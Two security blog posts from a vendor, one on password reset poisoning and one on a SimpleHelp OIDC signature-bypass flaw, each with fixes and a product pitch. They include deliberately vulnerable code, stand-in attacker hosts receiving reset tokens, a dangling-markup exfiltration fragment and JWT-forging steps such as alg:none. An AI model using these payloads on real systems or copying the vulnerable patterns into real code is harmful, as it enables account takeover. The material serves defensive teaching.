Author: UnboundCompute

Password reset poisoning is an account takeover technique that never touches the victim’s password and never spoofs an email. The attacker asks the real application to send a real reset email to the real address, but manipulates the request so the link inside that email points at a host the attacker owns. The victim clicks a message that came from a domain they trust, and the reset token walks straight into the attacker’s server log.

The reason this works is that a lot of applications build the reset URL out of the incoming request rather than out of their own configuration. The general mechanics of that mistake are covered in our post on host header injection. This post stays on the reset flow itself: how the token gets out, the three ways it leaks, and what actually closes each one.

What makes this different from ordinary phishing?

The email is genuine. That single fact is what makes this class survive the checks that stop ordinary phishing.

A phishing email has to fake a sender, so it fails SPF, DKIM, or DMARC, or it lands on a lookalike domain that a filter can score. A poisoned reset email fails none of that. It is generated by the application, signed by the application’s mail infrastructure, addressed to the account owner, and delivered to the inbox they expect. The subject line, the branding, and the footer are all real, because the application wrote them. Only the href is wrong, and it is wrong by one hostname.

The only forged byte in a password reset poisoning attack is a hostname in a request header. Everything else, including the email and the token, is produced honestly by the application.

How does the reset link end up on the wrong host?

Because the code that builds the link asks the request where the site lives. Take an invented app, Acme Notes. Its reset mailer looks like this:

# Vulnerable: the origin comes from the request
base = request.headers["X-Forwarded-Host"] or request.headers["Host"]
link = "https://" + base + "/reset?token=" + token
send_email(user.email, link)

Every framework has some version of this helper. It is convenient because one code path then works in local development, staging, and production without a config change. It is also a hole, because Host and every forwarded header are fields the client writes. When the reset form is submitted with a tampered value, the mailer happily builds the link around it, and the victim receives:

https://notes.attacker.example/reset?token=8f21ab...c907

The attacker’s server does not have to do anything clever. It logs the query string, and now holds a valid, unused reset token for an account it does not own. It redeems the token against the real Acme Notes reset endpoint and sets a new password. Some attackers even redirect the victim onward to the genuine reset page afterwards, so the click looks like it worked and nothing feels wrong.

Note that the second header matters as much as the first. Teams often validate Host at the edge and then forget that their framework prefers X-Forwarded-Host when both are present. A request with a clean Host and a hostile X-Forwarded-Host passes the front door check and still poisons the link.

How else can a reset token leak?

Two more paths get the token out without touching the email at all. Both fire after the victim has clicked a completely correct link.

The Referer leak

Once the victim lands on https://acmenotes.example/reset?token=8f21ab...c907, that full URL sits in the browser’s address bar, token included. Every request the page then makes to another origin can carry it. If the reset page loads an analytics script, a font, a chat widget, or a tracking pixel from a third party, the browser attaches a Referer header holding the reset URL. The vendor now has a live token in their logs, and so does anyone who can read those logs.

The same thing happens if the reset page contains any link the user might click, including a support link or a logo that points off site. The token travels in the referrer of that navigation.

The dangling markup leak

If the reset page reflects any attacker influenced value into HTML without escaping it, an unclosed attribute can swallow the rest of the page and ship it off site. The classic shape is an injected fragment that opens a quoted attribute and never closes it:

<img src="https://collector.attacker.example/log?x=

The browser keeps consuming markup looking for the closing quote, and everything up to the next quote in the document becomes part of that URL, including a token printed in a hidden form field or a nearby href. This leaks data on pages where scripts are blocked outright, which is why a strong script policy alone does not cover it. Our post on CSS injection data exfiltration covers the same idea with a different sink: data leaving a page through a channel nobody classified as executable.

How do you prevent password reset poisoning?

Fix the URL construction first, then reduce what a leaked token is worth. The two layers matter independently, because the second one contains the referrer and markup paths that the first one does not touch.

• Build absolute URLs from server configuration. Store the canonical origin as a setting, for example BASE_URL=https://acmenotes.example, and build every email link and redirect from it. No request header should ever appear in a link the application mails out.
• Treat Host and every forwarded header as untrusted input. That includes X-Forwarded-Host, X-Host, X-Forwarded-Server, and Forwarded. Strip them at the edge unless they come from a proxy you operate, and set your framework’s trusted host list explicitly.
• Allowlist the host at the edge. Reject any request whose host is not a known domain with a 400 before application code runs. This gives you one enforcement point instead of relying on every mailer to behave.
• Make tokens single use, short lived, and bound to one account. Delete or mark the token the instant it is redeemed, expire it in minutes rather than days, and check on redemption that it belongs to the account being changed. A token that dies on first use is worth far less in an attacker’s log.
• Set a strict referrer policy on reset pages. Send Referrer-Policy: no-referrer on the reset route so no outbound request carries the token bearing URL.
• Load nothing third party on the reset page. No analytics, no fonts, no widgets, no external images. Keep the page as close to static first party HTML as you can, and add a content security policy that forbids outside origins.
• Prefer a one time code or a POST body over a token in the query string. A value the user types, or one carried in a request body, never enters the address bar and so never enters a referrer.
• Invalidate every session after a successful reset. If an attacker did get in, ending all existing sessions and requiring a fresh login limits how long they keep the account.
• Watch for open redirects on the reset route. A redirect parameter that forwards the token onward reproduces the whole bug with a correct hostname, which is why open redirects deserve attention on authentication paths specifically.

Why does this survive code review?

Because nothing in the reset code looks wrong when you read it in isolation. The token generator uses a good random source. The email template is fine. The redemption endpoint checks expiry. The flaw lives in the gap between two reasonable assumptions: that the request tells the truth about where the site lives, and that a URL in a browser address bar stays private. Neither assumption is written down anywhere, so neither gets reviewed.

Finding it means understanding what the reset flow assumes and then testing those assumptions one at a time, which is exactly the work an autonomous researcher built to probe an application’s assumptions is meant to do rather than firing a fixed payload list at an endpoint. You can read more about that approach on our about page.

Frequently asked questions

What is password reset poisoning?

It is an account takeover technique where an attacker triggers a password reset for a victim and manipulates the request so the link in the email points at a host the attacker controls. The email is genuine, sent by the real application to the real address, so when the victim clicks it the valid reset token is delivered to the attacker.

Why does the reset link end up on the attacker’s domain?

Because the application builds the absolute URL from a request header such as Host, or from a forwarded host header added by a proxy, instead of from server configuration. Those headers are written by the client, so whatever value the attacker sends becomes the base of the link the mailer builds.

Can a reset token leak even when the link is correct?

Yes. If the reset page loads any third party resource, the browser sends the full token bearing URL in the Referer header to that vendor. An unescaped reflection on the same page can also leak it through dangling markup, where an unclosed attribute swallows nearby content into an outbound request.

How do you prevent password reset poisoning?

Build every absolute URL from server side configuration and never from a request header, allowlist the host at the edge, and make tokens single use, short lived, and bound to one account. Then set a strict referrer policy on the reset page, load nothing third party on it, and invalidate all sessions once a reset succeeds.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

In late June 2026 CISA added a new entry to its Known Exploited Vulnerabilities catalog: CVE-2026-48558, a CVSS 10.0 flaw in SimpleHelp, a widely deployed remote monitoring and management tool. It was already being used in the wild to plant infostealers and other malware. The root cause was not a memory bug or a clever injection. It was a plain OIDC authentication bypass: the login code read the identity claims inside a token and trusted them, but it never checked that the token was signed by anyone real. This post pulls that mechanism apart on a safe, invented example so you can spot the same shape of bug in your own app.

What OIDC tokens actually promise

OpenID Connect sits on top of OAuth and gives an application a way to say “this request belongs to this person.” When a user signs in, an identity provider mints an ID token. That token is a JWT, a JSON Web Token, made of three parts joined by dots: a header, a payload, and a signature. The payload carries identity claims like sub (the user id), email, and often groups for role or team membership.

The important word is signed. The identity provider signs the token with a private key. It publishes the matching public keys at a JWKS endpoint, usually found through /.well-known/openid-configuration. A relying party, meaning the app receiving the token, is supposed to fetch those keys and verify the signature before it believes a single claim. The signature is the only thing that separates a token the provider issued from a string of JSON an attacker typed by hand.

If you want the deeper split between proving who someone is and deciding what they may do, we cover it in authentication versus authorization. OIDC lives on the authentication side, and this bug lived there too.

The OIDC authentication bypass, claim by claim

Here is a decoded ID token payload for a made up admin panel we will call Acme Console. Nothing here is secret. The payload is base64url, not encryption, so anyone holding the token can read it:

{
  "iss": "https://id.acme-console.example/",
  "aud": "acme-console",
  "sub": "9f14c2",
  "email": "tech@acme-console.example",
  "groups": ["support-technicians"],
  "exp": 1782000000
}

A correct login flow does two things with this token. First it proves the token is genuine by checking the signature against the provider’s JWKS. Only then does it read the groups claim and decide the session is a support technician. The vulnerable pattern skips straight to the second step. In pseudo code, the flaw looked like this:

const parts = token.split(".");
const payload = JSON.parse(base64UrlDecode(parts[1]));

const session = provisionSession({
  email:  payload.email,
  groups: payload.groups,   // trusted as is
});
// parts[2], the signature, is never checked

Read that again. The code splits the token, decodes the middle part, and builds a session from whatever it finds. The third segment, the signature that is the entire point of a JWT, is never fetched, never compared, never used. Any attacker who knows the token’s expected shape can write their own payload, set groups to the administrator group, attach any garbage after the second dot, and send it. The app reads the claims, sees an admin, and hands over an admin session. No password, no second factor.

The token was treated as an identity document. It was never checked against the seal that makes it one. Reading a claim is not the same as verifying it.

In SimpleHelp’s case the affected path was OIDC login configured with group authenticated login. An unauthenticated attacker could forge a JWT, sail past multi factor authentication, and impersonate any technician account, up to and including privileged administrators. The vulnerability class is catalogued as CWE-347, Improper Verification of Cryptographic Signature. Affected builds were 5.5.15 and prior, plus 6.0 prerelease builds. Internet scans found roughly 14,000 exposed SimpleHelp servers, of which about 1,000 were directly vulnerable. On an RMM tool, an admin session is the keys to every managed endpoint, which is why this became a malware delivery route so quickly.

The cousin bug: trusting the header

There is a related failure worth naming. Even code that does call a verify function can be tricked if it lets the token’s own header pick the algorithm. An attacker sets alg: none to claim the token needs no signature, or swaps a strong asymmetric algorithm for a weak one the server verifies with the wrong key. That is JWT algorithm confusion, and it lands in the same place as a missing check: a forged token accepted as real.

How to spot it in your own app

You do not need the source to test for this. You need three quick observations:

• Alter the signature and see if login still works. Take a valid token, flip a few characters in the third segment, and present it. A correct app rejects it outright. A vulnerable one logs you in, which proves the signature is decoration.
• Watch for a JWKS fetch. A relying party that verifies signatures has to fetch the provider’s public keys. If the app never calls the JWKS or discovery endpoint during login, it has no key to verify against, so it cannot be verifying anything.
• Try alg: none and edited claims. Craft a token with the algorithm set to none and a changed email or groups value. If it is accepted, the app is trusting the payload and, at best, trusting the header too.

How to prevent it

The fix is one habit, applied without exception: verify before you trust. A safe version of the Acme Console flow does the whole check in one call and refuses the token unless everything holds:

const { payload } = await jwtVerify(token, JWKS, {
  issuer:   "https://id.acme-console.example/",
  audience: "acme-console",
});
// throws unless the signature, iss, aud, and exp all check out

Concretely, that means:

• Verify the signature against the issuer’s JWKS before reading any claim. Fetch the published public keys and confirm the token was signed by the key the provider advertises.
• Pin the accepted algorithms server side. Decide which algorithms you allow and reject everything else, so a token cannot talk you into none or a downgrade.
• Validate iss, aud, and exp. A valid signature on a token meant for a different app, or one that expired last year, is still the wrong token. Confirm it was issued by your provider, for your app, and is still in date.
• Reject unsigned tokens. There is no legitimate reason to accept a JWT with no signature in a login flow. Treat an absent or empty signature as an immediate failure.

Every one of these is standard in mature OIDC libraries. The bugs show up when a team hand rolls the token parsing, or turns verification off during testing and forgets to turn it back on. For more on this family of failures, see our access control writing.

The assumption that broke

The failure was not cryptography. The math was fine and the provider signed everything correctly. The app simply never asked to see the proof. It read a claim that said “administrator” and believed it, the same way it would believe any string it was handed. This is the whole story: a token was trusted for what it said, not for what it could prove. That gap between reading a claim and verifying it is exactly the kind of assumption an autonomous security researcher that tests an application’s beliefs and backs findings with hard evidence is built to catch, before someone else forges the token first. More on how that works on our about page.

Frequently asked questions

What is an OIDC authentication bypass?

It is a login flaw where an app reads the identity claims inside an OIDC token but never verifies the token’s signature. Because the claims are trusted without proof, an attacker can forge a token and be accepted as any user, including an administrator.

Why is the signature the important part of a JWT?

The payload of a JWT is base64url encoded JSON that anyone holding the token can read or rewrite. The signature is the only thing that proves the identity provider issued it. Skip the signature check and the claims prove nothing.

How do you test for it?

Take a valid token, change a few characters in the signature segment, and try to log in. A correct app rejects it outright. If login still works, the signature is not being checked. Presenting a token with the algorithm set to none is a fast second test.

How do you prevent an OIDC authentication bypass?

Verify the signature against the issuer’s published keys before reading any claim, pin the algorithms you accept so a token cannot request none, validate the issuer, audience, and expiry, and reject unsigned tokens.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.